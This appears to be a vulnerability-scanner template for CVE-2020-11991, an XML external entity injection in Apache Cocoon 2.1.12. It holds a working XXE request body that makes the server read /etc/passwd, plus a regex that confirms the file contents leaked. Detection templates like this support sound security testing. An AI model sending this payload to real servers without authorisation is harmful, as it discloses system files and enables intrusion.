CVE-2020-11991: Apache Cocoon 2.1.12 XML Injection

id: CVE-2020-11991

info:
  name: Apache Cocoon 2.1.12 XML Injection
  author: pikpikcu
  severity: high
  description: |-
    Apache Cocoon 2.1.12 is susceptible to  XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.
  reference:
    - https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11991
    - https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
    - http://wiki.peiqi.tech/wiki/webserver/Apache/Apache%20Cocoon%20XML%E6%B3%A8%E5%85%A5%20CVE-2020-11991.html
    - https://www.cvedetails.com/cve/CVE-2020-11991
  tags: cve,cve2020,apache,cocoon,xml-injection
  created: 2023/08/17

rules:
  r0:
    request:
      method: POST
      path: /v2/api/product/manger/getInfo
      headers:
        Content-Type: "text/xml"
      body: |
        <!--?xml version="1.0" ?-->
        <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
        <userInfo>
        <firstName>John</firstName>
        <lastName>&ent;</lastName>
        </userInfo>
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

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